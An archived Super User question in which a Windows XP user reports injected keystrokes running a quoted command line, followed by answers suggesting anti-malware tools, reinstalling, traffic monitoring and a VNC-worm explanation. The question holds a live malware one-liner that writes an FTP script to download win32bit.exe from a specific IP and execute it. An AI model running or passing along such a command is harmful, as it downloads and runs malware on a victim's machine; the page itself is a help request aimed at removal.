Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

For the last two days I am experiencing a strange behavior in my computer which I strongly suspect is a virus. So sudden, a series of keyboard events take part in. It tries to open command-prompt and try to execute the following line: del eq&echo open 186.81.185.135 14062 >> eq&echo user 12120 17227 >> eq &echo get win32bit.exe >> eq &echo quit >> eq &ftp -n -s:eq &win32bit.exe &del eq It is a Win XP SP3 I am operating on and I have McAfee running. Does any body have any idea what would that be?

share|improve this question

migrated from stackoverflow.com Sep 9 '09 at 14:18

This question came from our site for professional and enthusiast programmers.

add comment

7 Answers

Run Malwarebytes Anti-Malware. You can get it here. You may be able to remove it with that. If not then format and reload is the quickest, easist way to clean out the system. Besides a good reload every now and again keeps the OS running well. Hope that helps.

share|improve this answer
    
in addition, if malwarebytes refuses to install, there's a good chance of the system actually having a virus. –  Journeyman Geek Sep 10 '09 at 7:06
add comment

if you regular virus scanner doesn't pick up a threat (known or unknown) it doesn't mean it isn't real. give Threatfire a try, an anitvirus program that doesn't rely on virus signatures but on behavioral analysis

share|improve this answer
    
ooh i like the name –  Kez Sep 9 '09 at 14:33
add comment

I'd recommend Spybot Search & Destroy.

Check what your network traffic is doing. You may be able to use that to figure out whether it is a remote session, or a remotely operated trojan.

You may also be able to monitor which executable is running in your Task Manager based on Read Bytes and Write Bytes, too. That's how I caught a bug on my system.

share|improve this answer
add comment

Yeah, you've been compromised. If you don't have the expertise to fully diagnose and repair trojans and rootkits, the only safe way to proceed is to reinstall the OS. Have fun.

Today's anti-virus tools are not up to the job of protecting you from the vast variety and fast mutations of the threats that are common today. Especially the traditional signature-based scanners are pretty much useless. Don't believe your machine is clean just because there's a reassuring little icon sitting in your system tray and eating up half your CPU.

share|improve this answer
add comment

Today, this very IP address seems to be dynamic, which seems odd for its purpose.

$ dig -x 186.81.185.135
[..]
135.185.81.186.in-addr.arpa. 86400 IN PTR Dynamic-IP-18681185135.cable.net.co.
[..]

However, this may in fact be quite old, so is your virus scanner indeed running...?

EDIT: yesterday, searching for 186.81.185.135 only gave 1 result, today 2 (plus this Super User question itself)... Maybe be quite recent after all?

share|improve this answer
add comment

You probably do have VNC set up, don't you? And most probably you haven't set up the password for it, have you? This is how the worm tried to enter your computer. The 186.81.185.135 host is irrelevant as it most probably is another poor fellow who haven't set up VNC properly.

The worm tries to create a script for ftp to download win32bit.exe and run it when it's ready.

Running some kind of a anti-... scanner is advised as it is hard to determine whether it succeeded or not.

share|improve this answer
add comment

Is your system up-to-date patchwise? It wouldn't hurt to make sure you've got all of the latest and greatest from Microsoft including the Malicious Software Removal tool for this month. It may find and remove what you've got. All of the noted spyware tools above are excellent options too (I like Malwarebytes)

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.